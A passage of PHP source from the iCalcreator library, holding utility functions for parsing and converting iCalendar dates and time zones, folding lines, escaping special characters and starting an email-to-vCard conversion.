          $input['value']['tz'] = $tz;
        $strdate       = iCalUtilityFunctions::_date2strdate( $input['value'], $parno );
        if( !empty( $tz ) && !iCalUtilityFunctions::_isOffset( $tz ))
          $strdate    .= ( 'Z' == $tz ) ? $tz : ' '.$tz;
        $input['value'] = iCalUtilityFunctions::_strdate2date( $strdate, $parno );
        unset( $input['value']['unparsedtext'] );
        if( isset( $input['value']['tz'] )) {
          if( iCalUtilityFunctions::_isOffset( $input['value']['tz'] )) {
            $d           = $input['value'];
            $strdate     = sprintf( '%04d-%02d-%02d %02d:%02d:%02d %s', $d['year'], $d['month'], $d['day'], $d['hour'], $d['min'], $d['sec'], $d['tz'] );
            $input['value'] = iCalUtilityFunctions::_strdate2date( $strdate, 7 );
            unset( $input['value']['unparsedtext'], $input['params']['TZID'] );
          }
          else {
            $input['params']['TZID'] = $input['value']['tz'];
            unset( $input['value']['tz'] );
          }
        }
        elseif( isset( $input['params']['TZID'] ) && iCalUtilityFunctions::_isOffset( $input['params']['TZID'] )) {
          $d             = $input['value'];
          $strdate       = sprintf( '%04d-%02d-%02d %02d:%02d:%02d %s', $d['year'], $d['month'], $d['day'], $d['hour'], $d['min'], $d['sec'], $input['params']['TZID'] );
          $input['value'] = iCalUtilityFunctions::_strdate2date( $strdate, 7 );
          unset( $input['value']['unparsedtext'], $input['params']['TZID'] );
        }
      }
    } // end else (i.e. using all arguments)
    if(( 3 == $parno ) || ( isset( $input['params']['VALUE'] ) && ( 'DATE' == $input['params']['VALUE'] ))) {
      $input['params']['VALUE'] = 'DATE';
      unset( $input['value']['hour'], $input['value']['min'], $input['value']['sec'], $input['value']['tz'], $input['params']['TZID'] );
    }
    elseif( isset( $input['params']['TZID'] )) {
      if(( 'UTC' == strtoupper( $input['params']['TZID'] )) || ( 'GMT' == strtoupper( $input['params']['TZID'] ))) {
        $input['value']['tz'] = 'Z';
        unset( $input['params']['TZID'] );
      }
      else
        unset( $input['value']['tz'] );
    }
    elseif( isset( $input['value']['tz'] )) {
      if(( 'UTC' == strtoupper( $input['value']['tz'] )) || ( 'GMT' == strtoupper( $input['value']['tz'] )))
        $input['value']['tz'] = 'Z';
      if( 'Z' != $input['value']['tz'] ) {
        $input['params']['TZID'] = $input['value']['tz'];
        unset( $input['value']['tz'] );
      }
      else
        unset( $input['params']['TZID'] );
    }
    if( $localtime )
      unset( $input['value']['tz'], $input['params']['TZID'] );
    return $input;
  }
/**
 * convert format for input date (UTC) to internal date with parameters
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.16.24 - 2013-07-01
 * @param mixed $year
 * @param mixed $month  optional
 * @param int   $day    optional
 * @param int   $hour   optional
 * @param int   $min    optional
 * @param int   $sec    optional
 * @param array $params optional
 * @return array
 */
  public static function _setDate2( $year, $month=FALSE, $day=FALSE, $hour=FALSE, $min=FALSE, $sec=FALSE, $params=FALSE ) {
    $input = null;
    iCalUtilityFunctions::_strDate2arr( $year );
    if( iCalUtilityFunctions::_isArrayDate( $year )) {
      $input['value']  = iCalUtilityFunctions::_chkDateArr( $year, 7 );
      if( isset( $input['value']['year'] ) && ( 100 > $input['value']['year'] ))
        $input['value']['year'] += 2000;
      $input['params'] = iCalUtilityFunctions::_setParams( $month, array( 'VALUE' => 'DATE-TIME' ));
      unset( $input['params']['VALUE']  );
      if( isset( $input['value']['tz'] ) && iCalUtilityFunctions::_isOffset( $input['value']['tz'] ))
        $tzid = $input['value']['tz'];
      elseif( isset( $input['params']['TZID'] ) && iCalUtilityFunctions::_isOffset( $input['params']['TZID'] ))
        $tzid = $input['params']['TZID'];
      else
        $tzid = '';
      unset( $input['params']['VALUE'], $input['params']['TZID']  );
      if( !empty( $tzid ) && ( 'Z' != $tzid ) && iCalUtilityFunctions::_isOffset( $tzid )) {
        $d             = $input['value'];
        $strdate       = sprintf( '%04d-%02d-%02d %02d:%02d:%02d %s', $d['year'], $d['month'], $d['day'], $d['hour'], $d['min'], $d['sec'], $tzid );
        $input['value'] = iCalUtilityFunctions::_strdate2date( $strdate, 7 );
        unset( $input['value']['unparsedtext'] );
      }
    }
    elseif( iCalUtilityFunctions::_isArrayTimestampDate( $year )) {
      if( isset( $year['tz'] ) && ! iCalUtilityFunctions::_isOffset( $year['tz'] ))
        $year['tz']    = 'UTC';
      elseif( isset( $input['params']['TZID'] ) && iCalUtilityFunctions::_isOffset( $input['params']['TZID'] ))
        $year['tz']    = $input['params']['TZID'];
      else
        $year['tz']    = 'UTC';
      $input['value']  = iCalUtilityFunctions::_timestamp2date( $year, 7 );
      $input['params'] = iCalUtilityFunctions::_setParams( $month, array( 'VALUE' => 'DATE-TIME' ));
      unset( $input['params']['VALUE'], $input['params']['TZID']  );
    }
    elseif( 8 <= strlen( trim( $year ))) { // ex. 2006-08-03 10:12:18
      $input['value']  = iCalUtilityFunctions::_strdate2date( $year, 7 );
      unset( $input['value']['unparsedtext'] );
      $input['params'] = iCalUtilityFunctions::_setParams( $month, array( 'VALUE' => 'DATE-TIME' ));
      if(( !isset( $input['value']['tz'] ) || empty( $input['value']['tz'] )) && isset( $input['params']['TZID'] ) && iCalUtilityFunctions::_isOffset( $input['params']['TZID'] )) {
        $d             = $input['value'];
        $strdate       = sprintf( '%04d-%02d-%02d %02d:%02d:%02d %s', $d['year'], $d['month'], $d['day'], $d['hour'], $d['min'], $d['sec'], $input['params']['TZID'] );
        $input['value'] = iCalUtilityFunctions::_strdate2date( $strdate, 7 );
        unset( $input['value']['unparsedtext'] );
      }
      unset( $input['params']['VALUE'], $input['params']['TZID']  );
    }
    else {
      $input['value']  = array( 'year'  => $year
                              , 'month' => $month
                              , 'day'   => $day
                              , 'hour'  => $hour
                              , 'min'   => $min
                              , 'sec'   => $sec );
      if(  isset( $tz )) $input['value']['tz'] = $tz;
      if(( isset( $tz ) && iCalUtilityFunctions::_isOffset( $tz )) ||
         ( isset( $input['params']['TZID'] ) && iCalUtilityFunctions::_isOffset( $input['params']['TZID'] ))) {
          if( !isset( $tz ) && isset( $input['params']['TZID'] ) && iCalUtilityFunctions::_isOffset( $input['params']['TZID'] ))
            $input['value']['tz'] = $input['params']['TZID'];
          unset( $input['params']['TZID'] );
        $strdate        = iCalUtilityFunctions::_date2strdate( $input['value'], 7 );
        $input['value'] = iCalUtilityFunctions::_strdate2date( $strdate, 7 );
        unset( $input['value']['unparsedtext'] );
      }
      $input['params'] = iCalUtilityFunctions::_setParams( $params, array( 'VALUE' => 'DATE-TIME' ));
      unset( $input['params']['VALUE']  );
    }
    $parno = iCalUtilityFunctions::_existRem( $input['params'], 'VALUE', 'DATE-TIME', 7 ); // remove default
    if( !isset( $input['value']['hour'] )) $input['value']['hour'] = 0;
    if( !isset( $input['value']['min'] ))  $input['value']['min']  = 0;
    if( !isset( $input['value']['sec'] ))  $input['value']['sec']  = 0;
    $input['value']['tz'] = 'Z';
    return $input;
  }
/**
 * check index and set (an indexed) content in multiple value array
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.6.12 - 2011-01-03
 * @param array $valArr
 * @param mixed $value
 * @param array $params
 * @param array $defaults
 * @param int $index
 * @return void
 */
  public static function _setMval( & $valArr, $value, $params=FALSE, $defaults=FALSE, $index=FALSE ) {
    if( !is_array( $valArr )) $valArr = array();
    if( $index )
      $index = $index - 1;
    elseif( 0 < count( $valArr )) {
      $keys  = array_keys( $valArr );
      $index = end( $keys ) + 1;
    }
    else
      $index = 0;
    $valArr[$index] = array( 'value' => $value, 'params' => iCalUtilityFunctions::_setParams( $params, $defaults ));
    ksort( $valArr );
  }
/**
 * set input (formatted) parameters- component property attributes
 *
 * default parameters can be set, if missing
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 1.x.x - 2007-05-01
 * @param array $params
 * @param array $defaults
 * @return array
 */
  public static function _setParams( $params, $defaults=FALSE ) {
    if( !is_array( $params))
      $params = array();
    $input = array();
    foreach( $params as $paramKey => $paramValue ) {
      if( is_array( $paramValue )) {
        foreach( $paramValue as $pkey => $pValue ) {
          if(( '"' == substr( $pValue, 0, 1 )) && ( '"' == substr( $pValue, -1 )))
            $paramValue[$pkey] = substr( $pValue, 1, ( strlen( $pValue ) - 2 ));
        }
      }
      elseif(( '"' == substr( $paramValue, 0, 1 )) && ( '"' == substr( $paramValue, -1 )))
        $paramValue = substr( $paramValue, 1, ( strlen( $paramValue ) - 2 ));
      if( 'VALUE' == strtoupper( $paramKey ))
        $input['VALUE']                 = strtoupper( $paramValue );
      else
        $input[strtoupper( $paramKey )] = $paramValue;
    }
    if( is_array( $defaults )) {
      foreach( $defaults as $paramKey => $paramValue ) {
        if( !isset( $input[$paramKey] ))
          $input[$paramKey] = $paramValue;
      }
    }
    return (0 < count( $input )) ? $input : null;
  }
/**
 * break lines at pos 75
 *
 * Lines of text SHOULD NOT be longer than 75 octets, excluding the line
 * break. Long content lines SHOULD be split into a multiple line
 * representations using a line "folding" technique. That is, a long
 * line can be split between any two characters by inserting a CRLF
 * immediately followed by a single linear white space character (i.e.,
 * SPACE, US-ASCII decimal 32 or HTAB, US-ASCII decimal 9). Any sequence
 * of CRLF followed immediately by a single linear white space character
 * is ignored (i.e., removed) when processing the content type.
 *
 * Edited 2007-08-26 by Anders Litzell, anders@litzell.se to fix bug where
 * the reserved expression "\n" in the arg $string could be broken up by the
 * folding of lines, causing ambiguity in the return string.
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.16.2 - 2012-12-18
 * @param string $value
 * @return string
 */
  public static function _size75( $string, $nl ) {
    $tmp             = $string;
    $string          = '';
    $cCnt = $x       = 0;
    while( TRUE ) {
      if( !isset( $tmp[$x] )) {
        $string     .= $nl;                           // loop breakes here
        break;
      }
      elseif(( 74   <= $cCnt ) && ( '\\'  == $tmp[$x] ) && ( 'n' == $tmp[$x+1] )) {
        $string     .= $nl.' \n';                     // don't break lines inside '\n'
        $x          += 2;
        if( !isset( $tmp[$x] )) {
          $string   .= $nl;
          break;
        }
        $cCnt        = 3;
      }
      elseif( 75    <= $cCnt ) {
        $string     .= $nl.' ';
        $cCnt        = 1;
      }
      $byte          = ord( $tmp[$x] );
      $string       .= $tmp[$x];
      switch( TRUE ) { // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
        case(( $byte >= 0x20 ) && ( $byte <= 0x7F )): // characters U-00000000 - U-0000007F (same as ASCII)
          $cCnt     += 1;
          break;                                      // add a one byte character
        case(( $byte & 0xE0) == 0xC0 ):               // characters U-00000080 - U-000007FF, mask 110XXXXX
          if( isset( $tmp[$x+1] )) {
            $cCnt   += 1;
            $string  .= $tmp[$x+1];
            $x       += 1;                            // add a two bytes character
          }
          break;
        case(( $byte & 0xF0 ) == 0xE0 ):              // characters U-00000800 - U-0000FFFF, mask 1110XXXX
          if( isset( $tmp[$x+2] )) {
            $cCnt   += 1;
            $string .= $tmp[$x+1].$tmp[$x+2];
            $x      += 2;                             // add a three bytes character
          }
          break;
        case(( $byte & 0xF8 ) == 0xF0 ):              // characters U-00010000 - U-001FFFFF, mask 11110XXX
          if( isset( $tmp[$x+3] )) {
            $cCnt   += 1;
            $string .= $tmp[$x+1].$tmp[$x+2].$tmp[$x+3];
            $x      += 3;                             // add a four bytes character
          }
          break;
        case(( $byte & 0xFC ) == 0xF8 ):              // characters U-00200000 - U-03FFFFFF, mask 111110XX
          if( isset( $tmp[$x+4] )) {
            $cCnt   += 1;
            $string .= $tmp[$x+1].$tmp[$x+2].$tmp[$x+3].$tmp[$x+4];
            $x      += 4;                             // add a five bytes character
          }
          break;
        case(( $byte & 0xFE ) == 0xFC ):              // characters U-04000000 - U-7FFFFFFF, mask 1111110X
          if( isset( $tmp[$x+5] )) {
            $cCnt   += 1;
            $string .= $tmp[$x+1].$tmp[$x+2].$tmp[$x+3].$tmp[$x+4].$tmp[$x+5];
            $x      += 5;                             // add a six bytes character
          }
        default:                                      // add any other byte without counting up $cCnt
          break;
      } // end switch( TRUE )
      $x         += 1;                                // next 'byte' to test
    } // end while( TRUE ) {
    return $string;
  }
/**
 * sort callback functions for exdate
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.16.11 - 2013-01-12
 * @param array $a
 * @param array $b
 * @return int
 */
  public static function _sortExdate1( $a, $b ) {
    $as  = sprintf( '%04d%02d%02d', $a['year'], $a['month'], $a['day'] );
    $as .= ( isset( $a['hour'] )) ? sprintf( '%02d%02d%02d', $a['hour'], $a['min'], $a['sec'] ) : '';
    $bs  = sprintf( '%04d%02d%02d', $b['year'], $b['month'], $b['day'] );
    $bs .= ( isset( $b['hour'] )) ? sprintf( '%02d%02d%02d', $b['hour'], $b['min'], $b['sec'] ) : '';
    return strcmp( $as, $bs );
  }
  public static function _sortExdate2( $a, $b ) {
    $val = reset( $a['value'] );
    $as  = sprintf( '%04d%02d%02d', $val['year'], $val['month'], $val['day'] );
    $as .= ( isset( $val['hour'] )) ? sprintf( '%02d%02d%02d', $val['hour'], $val['min'], $val['sec'] ) : '';
    $val = reset( $b['value'] );
    $bs  = sprintf( '%04d%02d%02d', $val['year'], $val['month'], $val['day'] );
    $bs .= ( isset( $val['hour'] )) ? sprintf( '%02d%02d%02d', $val['hour'], $val['min'], $val['sec'] ) : '';
    return strcmp( $as, $bs );
  }
/**
 * sort callback functions for rdate
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.16.27 - 2013-07-05
 * @param array $a
 * @param array $b
 * @return int
 */
  public static function _sortRdate1( $a, $b ) {
    $val = isset( $a['year'] ) ? $a : $a[0];
    $as  = sprintf( '%04d%02d%02d', $val['year'], $val['month'], $val['day'] );
    $as .= ( isset( $val['hour'] )) ? sprintf( '%02d%02d%02d', $val['hour'], $val['min'], $val['sec'] ) : '';
    $val = isset( $b['year'] ) ? $b : $b[0];
    $bs  = sprintf( '%04d%02d%02d', $val['year'], $val['month'], $val['day'] );
    $bs .= ( isset( $val['hour'] )) ? sprintf( '%02d%02d%02d', $val['hour'], $val['min'], $val['sec'] ) : '';
    return strcmp( $as, $bs );
  }
  public static function _sortRdate2( $a, $b ) {
    $val   = isset( $a['value'][0]['year'] ) ? $a['value'][0] : $a['value'][0][0];
    if( empty( $val ))
      $as  = '';
    else {
      $as  = sprintf( '%04d%02d%02d', $val['year'], $val['month'], $val['day'] );
      $as .= ( isset( $val['hour'] )) ? sprintf( '%02d%02d%02d', $val['hour'], $val['min'], $val['sec'] ) : '';
    }
    $val   = isset( $b['value'][0]['year'] ) ? $b['value'][0] : $b['value'][0][0];
    if( empty( $val ))
      $bs  = '';
    else {
      $bs  = sprintf( '%04d%02d%02d', $val['year'], $val['month'], $val['day'] );
      $bs .= ( isset( $val['hour'] )) ? sprintf( '%02d%02d%02d', $val['hour'], $val['min'], $val['sec'] ) : '';
    }
    return strcmp( $as, $bs );
  }
/**
 * step date, return updated date, array and timpstamp
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.14.1 - 2012-09-24
 * @param array $date, date to step
 * @param int   $timestamp
 * @param array $step, default array( 'day' => 1 )
 * @return void
 */
  public static function _stepdate( &$date, &$timestamp, $step=array( 'day' => 1 )) {
    if( !isset( $date['hour'] )) $date['hour'] = 0;
    if( !isset( $date['min'] ))  $date['min']  = 0;
    if( !isset( $date['sec'] ))  $date['sec']  = 0;
    foreach( $step as $stepix => $stepvalue )
      $date[$stepix] += $stepvalue;
    $timestamp  = mktime( $date['hour'], $date['min'], $date['sec'], $date['month'], $date['day'], $date['year'] );
    $d          = date( 'Y-m-d-H-i-s', $timestamp);
    $d          = explode( '-', $d );
    $date       = array( 'year' => $d[0], 'month' => $d[1], 'day' => $d[2], 'hour' => $d[3], 'min' => $d[4], 'sec' => $d[5] );
    foreach( $date as $k => $v )
      $date[$k] = (int) $v;
  }
/**
 * convert a date from specific string to array format
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.11.8 - 2012-01-27
 * @param mixed $input
 * @return bool, TRUE on success
 */
  public static function _strDate2arr( & $input ) {
    if( is_array( $input ))
      return FALSE;
    if( 5 > strlen( (string) $input ))
      return FALSE;
    $work = $input;
    if( 2 == substr_count( $work, '-' ))
      $work = str_replace( '-', '', $work );
    if( 2 == substr_count( $work, '/' ))
      $work = str_replace( '/', '', $work );
    if( !ctype_digit( substr( $work, 0, 8 )))
      return FALSE;
    $temp = array( 'year'  => (int) substr( $work,  0, 4 )
                 , 'month' => (int) substr( $work,  4, 2 )
                 , 'day'   => (int) substr( $work,  6, 2 ));
    if( !checkdate( $temp['month'], $temp['day'], $temp['year'] ))
      return FALSE;
    if( 8 == strlen( $work )) {
      $input = $temp;
      return TRUE;
    }
    if(( ' ' == substr( $work, 8, 1 )) || ( 'T' == substr( $work, 8, 1 )) || ( 't' == substr( $work, 8, 1 )))
      $work =  substr( $work, 9 );
    elseif( ctype_digit( substr( $work, 8, 1 )))
      $work = substr( $work, 8 );
    else
     return FALSE;
    if( 2 == substr_count( $work, ':' ))
      $work = str_replace( ':', '', $work );
    if( !ctype_digit( substr( $work, 0, 4 )))
      return FALSE;
    $temp['hour']  = substr( $work, 0, 2 );
    $temp['min']   = substr( $work, 2, 2 );
    if((( 0 > $temp['hour'] ) || ( $temp['hour'] > 23 )) ||
       (( 0 > $temp['min'] )  || ( $temp['min']  > 59 )))
      return FALSE;
    if( ctype_digit( substr( $work, 4, 2 ))) {
      $temp['sec'] = substr( $work, 4, 2 );
      if((  0 > $temp['sec'] ) || ( $temp['sec']  > 59 ))
        return FALSE;
      $len = 6;
    }
    else {
      $temp['sec'] = 0;
      $len = 4;
    }
    if( $len < strlen( $work))
      $temp['tz'] = trim( substr( $work, 6 ));
    $input = $temp;
    return TRUE;
  }
/**
 * ensures internal date-time/date format for input date-time/date in string fromat
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.16.24 - 2013-06-26
 * Modified to also return original string value by Yitzchok Lavi <icalcreator@onebigsystem.com>
 * @param array $datetime
 * @param int   $parno optional, default FALSE
 * @param moxed $wtz optional, default null
 * @return array
 */
  public static function _date_time_string( $datetime, $parno=FALSE ) {
    return iCalUtilityFunctions::_strdate2date( $datetime, $parno, null );
  }
  public static function _strdate2date( $datetime, $parno=FALSE, $wtz=null ) {
    // save original input string to return it later
    $unparseddatetime = $datetime;
    $datetime   = (string) trim( $datetime );
    $tz         = null;
    $offset     = 0;
    $tzSts      = FALSE;
    $len        = strlen( $datetime );
    if( 'Z' == substr( $datetime, -1 )) {
      $tz       = 'Z';
      $datetime = trim( substr( $datetime, 0, ( $len - 1 )));
      $tzSts    = TRUE;
    }
    if( iCalUtilityFunctions::_isOffset( substr( $datetime, -5, 5 ))) { // [+/-]NNNN offset
      $tz       = substr( $datetime, -5, 5 );
      $datetime = trim( substr( $datetime, 0, ($len - 5)));
    }
    elseif( iCalUtilityFunctions::_isOffset( substr( $datetime, -7, 7 ))) { // [+/-]NNNNNN offset
      $tz       = substr( $datetime, -7, 7 );
      $datetime = trim( substr( $datetime, 0, ($len - 7)));
    }
    elseif( empty( $wtz ) && ctype_digit( substr( $datetime, 0, 4 )) && ctype_digit( substr( $datetime, -2, 2 )) && iCalUtilityFunctions::_strDate2arr( $datetime )) {
      $output = $datetime;
      if( !empty( $tz ))
        $output['tz'] = 'Z';
      $output['unparsedtext'] = $unparseddatetime;
      return $output;
    }
    else {
      $cx  = $tx = 0;    //  find any trailing timezone or offset
      $len = strlen( $datetime );
      for( $cx = -1; $cx > ( 9 - $len ); $cx-- ) {
        $char = substr( $datetime, $cx, 1 );
        if(( ' ' == $char ) || ctype_digit( $char ))
          break; // if exists, tz ends here.. . ?
        else
           $tx--; // tz length counter
      }
      if( 0 > $tx ) { // if any
        $tz     = substr( $datetime, $tx );
        $datetime = trim( substr( $datetime, 0, $len + $tx ));
      }
      if(( ctype_digit( substr( $datetime, 0, 8 )) && ( 'T' ==  substr( $datetime, 8, 1 )) && ctype_digit( substr( $datetime, -6, 6 ))) ||
         ( ctype_digit( substr( $datetime, 0, 14 ))))
        $tzSts  = TRUE;
    }
    if( empty( $tz ) && !empty( $wtz ))
      $tz       = $wtz;
    if( 3 == $parno )
      $tz       = null;
    if( !empty( $tz )) { // tz set
      if(( 'Z' != $tz ) && ( iCalUtilityFunctions::_isOffset( $tz ))) {
        $offset = (string) iCalUtilityFunctions::_tz2offset( $tz ) * -1;
        $tz     = 'UTC';
        $tzSts  = TRUE;
      }
      elseif( !empty( $wtz ))
        $tzSts  = TRUE;
      $tz       = trim( $tz );
      if(( 'Z' == $tz ) || ( 'GMT' == strtoupper( $tz )))
        $tz     = 'UTC';
      if( 0 < substr_count( $datetime, '-' ))
        $datetime = str_replace( '-', '/', $datetime );
      try {
        $d        = new DateTime( $datetime, new DateTimeZone( $tz ));
        if( 0  != $offset )  // adjust for offset
          $d->modify( $offset.' seconds' );
        $datestring = $d->format( 'Y-m-d-H-i-s' );
        unset( $d );
      }
      catch( Exception $e ) {
        $datestring = date( 'Y-m-d-H-i-s', strtotime( $datetime ));
      }
    } // end if( !empty( $tz ))
    else
      $datestring = date( 'Y-m-d-H-i-s', strtotime( $datetime ));
    if( 'UTC' == $tz )
      $tz         = 'Z';
    $d            = explode( '-', $datestring );
    $output       = array( 'year' => $d[0], 'month' => $d[1], 'day' => $d[2] );
    if( !$parno || ( 3 != $parno )) { // parno is set to 6 or 7
      $output['hour'] = $d[3];
      $output['min']  = $d[4];
      $output['sec']  = $d[5];
      if(( $tzSts || ( 7 == $parno )) && !empty( $tz ))
        $output['tz'] = $tz;
    }
    // return original string in the array in case strtotime failed to make sense of it
    $output['unparsedtext'] = $unparseddatetime;
    return $output;
  }
/********************************************************************************/
/**
 * special characters management output
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.16.2 - 2012-12-18
 * @param string $string
 * @param string $format
 * @param string $nl
 * @return string
 */
  public static function _strrep( $string, $format, $nl ) {
    switch( $format ) {
      case 'xcal':
        $string = str_replace( '\n',  $nl, $string);
        $string = htmlspecialchars( strip_tags( stripslashes( urldecode ( $string ))));
        break;
      default:
        $pos = 0;
        $specChars = array( 'n', 'N', 'r', ',', ';' );
        while( isset( $string[$pos] )) {
          if( FALSE === ( $pos = strpos( $string, "\\", $pos )))
            break;
          if( !in_array( substr( $string, $pos, 1 ), $specChars )) {
            $string = substr( $string, 0, $pos )."\\".substr( $string, ( $pos + 1 ));
            $pos += 1;
          }
          $pos += 1;
        }
        if( FALSE !== strpos( $string, '"' ))
          $string = str_replace('"',   "'",       $string);
        if( FALSE !== strpos( $string, ',' ))
          $string = str_replace(',',   '\,',      $string);
        if( FALSE !== strpos( $string, ';' ))
          $string = str_replace(';',   '\;',      $string);
        if( FALSE !== strpos( $string, "\r\n" ))
          $string = str_replace( "\r\n", '\n',    $string);
        elseif( FALSE !== strpos( $string, "\r" ))
          $string = str_replace( "\r", '\n',      $string);
        elseif( FALSE !== strpos( $string, "\n" ))
          $string = str_replace( "\n", '\n',      $string);
        if( FALSE !== strpos( $string, '\N' ))
          $string = str_replace( '\N', '\n',      $string);
//        if( FALSE !== strpos( $string, $nl ))
          $string = str_replace( $nl, '\n', $string);
        break;
    }
    return $string;
  }
/**
 * special characters management input (from iCal file)
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.16.2 - 2012-12-18
 * @param string $string
 * @return string
 */
  public static function _strunrep( $string ) {
    $string = str_replace( '\\\\', '\\',     $string);
    $string = str_replace( '\,',   ',',      $string);
    $string = str_replace( '\;',   ';',      $string);
//    $string = str_replace( '\n',  $nl, $string); // ??
    return $string;
  }
/**
 * convert timestamp to date array, default UTC or adjusted for offset/timezone
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.15.1 - 2012-10-17
 * @param mixed   $timestamp
 * @param int     $parno
 * @param string  $wtz
 * @return array
 */
  public static function _timestamp2date( $timestamp, $parno=6, $wtz=null ) {
    if( is_array( $timestamp )) {
      $tz        = ( isset( $timestamp['tz'] )) ? $timestamp['tz'] : $wtz;
      $timestamp = $timestamp['timestamp'];
    }
    $tz          = ( isset( $tz )) ? $tz : $wtz;
    $offset      = 0;
    if( empty( $tz ) || ( 'Z' == $tz ) || ( 'GMT' == strtoupper( $tz )))
      $tz        = 'UTC';
    elseif( iCalUtilityFunctions::_isOffset( $tz )) {
      $offset    = iCalUtilityFunctions::_tz2offset( $tz );
//      $tz        = 'UTC';
    }
    try {
      $d         = new DateTime( "@$timestamp" );  // set UTC date
      if(  0 != $offset )                          // adjust for offset
        $d->modify( $offset.' seconds' );
      elseif( 'UTC' != $tz )
        $d->setTimezone( new DateTimeZone( $tz )); // convert to local date
      $date      = $d->format( 'Y-m-d-H-i-s' );
      unset( $d );
    }
    catch( Exception $e ) {
      $date      = date( 'Y-m-d-H-i-s', $timestamp );
    }
    $date        = explode( '-', $date );
    $output      = array( 'year' => $date[0], 'month' => $date[1], 'day' => $date[2] );
    if( 3 != $parno ) {
      $output['hour'] = $date[3];
      $output['min']  = $date[4];
      $output['sec']  = $date[5];
      if(( 'UTC' == $tz ) || ( 0 == $offset ))
        $output['tz'] = 'Z';
    }
    return $output;
  }
/**
 * convert timestamp (seconds) to duration in array format
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.6.23 - 2010-10-23
 * @param int $timestamp
 * @return array, duration format
 */
  public static function _timestamp2duration( $timestamp ) {
    $dur         = array();
    $dur['week'] = (int) floor( $timestamp / ( 7 * 24 * 60 * 60 ));
    $timestamp   =              $timestamp % ( 7 * 24 * 60 * 60 );
    $dur['day']  = (int) floor( $timestamp / ( 24 * 60 * 60 ));
    $timestamp   =              $timestamp % ( 24 * 60 * 60 );
    $dur['hour'] = (int) floor( $timestamp / ( 60 * 60 ));
    $timestamp   =              $timestamp % ( 60 * 60 );
    $dur['min']  = (int) floor( $timestamp / ( 60 ));
    $dur['sec']  = (int)        $timestamp % ( 60 );
    return $dur;
  }
/**
 * transforms a dateTime from a timezone to another using PHP DateTime and DateTimeZone class (PHP >= PHP 5.2.0)
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.15.1 - 2012-10-17
 * @param mixed  $date,   date to alter
 * @param string $tzFrom, PHP valid 'from' timezone
 * @param string $tzTo,   PHP valid 'to' timezone, default 'UTC'
 * @param string $format, date output format, default 'Ymd\THis'
 * @return bool
 */
  public static function transformDateTime( & $date, $tzFrom, $tzTo='UTC', $format = 'Ymd\THis' ) {
    if( is_array( $date ) && isset( $date['timestamp'] )) {
      try {
        $d = new DateTime( "@{$date['timestamp']}" ); // set UTC date
        $d->setTimezone(new DateTimeZone( $tzFrom )); // convert to 'from' date
      }
      catch( Exception $e ) { return FALSE; }
    }
    else {
      if( iCalUtilityFunctions::_isArrayDate( $date )) {
        if( isset( $date['tz'] ))
          unset( $date['tz'] );
        $date  = iCalUtilityFunctions::_date2strdate( iCalUtilityFunctions::_chkDateArr( $date ));
      }
      if( 'Z' == substr( $date, -1 ))
        $date = substr( $date, 0, ( strlen( $date ) - 2 ));
      try { $d = new DateTime( $date, new DateTimeZone( $tzFrom )); }
      catch( Exception $e ) { return FALSE; }
    }
    try { $d->setTimezone( new DateTimeZone( $tzTo )); }
    catch( Exception $e ) { return FALSE; }
    $date = $d->format( $format );
    return TRUE;
  }
/**
 * convert offset, [+/-]HHmm[ss], to seconds, used when correcting UTC to localtime or v.v.
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.11.4 - 2012-01-11
 * @param string $offset
 * @return integer
 */
  public static function _tz2offset( $tz ) {
    $tz           = trim( (string) $tz );
    $offset       = 0;
    if(((     5  != strlen( $tz ))       && ( 7  != strlen( $tz ))) ||
       ((    '+' != substr( $tz, 0, 1 )) && ( '-' != substr( $tz, 0, 1 ))) ||
       (( '0000' >= substr( $tz, 1, 4 )) && ( '9999' < substr( $tz, 1, 4 ))) ||
           (( 7  == strlen( $tz ))       && ( '00' > substr( $tz, 5, 2 )) && ( '99' < substr( $tz, 5, 2 ))))
      return $offset;
    $hours2sec    = (int) substr( $tz, 1, 2 ) * 3600;
    $min2sec      = (int) substr( $tz, 3, 2 ) *   60;
    $sec          = ( 7  == strlen( $tz )) ? (int) substr( $tz, -2 ) : '00';
    $offset       = $hours2sec + $min2sec + $sec;
    $offset       = ('-' == substr( $tz, 0, 1 )) ? $offset * -1 : $offset;
    return $offset;
  }
}
/*********************************************************************************/
/*          iCalcreator vCard helper functions                                   */
/*********************************************************************************/
/**
 * convert single ATTENDEE, CONTACT or ORGANIZER (in email format) to vCard
 * returns vCard/TRUE or if directory (if set) or file write is unvalid, FALSE
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.12.2 - 2012-07-11
 * @param object $email
 * $param string $version, vCard version (default 2.1)
 * $param string $directory, where to save vCards (default FALSE)
 * $param string $ext, vCard file extension (default 'vcf')
 * @return mixed
 */
function iCal2vCard( $email, $version='2.1', $directory=FALSE, $ext='vcf' ) {
  if( FALSE === ( $pos = strpos( $email, '@' )))
    return FALSE;
  if( $directory ) {
    if( DIRECTORY_SEPARATOR != substr( $directory, ( 0 - strlen( DIRECTORY_SEPARATOR ))))
      $directory .= DIRECTORY_SEPARATOR;
    if( !is_dir( $directory ) || !is_writable( $directory ))
      return FALSE;
  }
            /* prepare vCard */
  $email  = str_replace( 'MAILTO:', '', $email );
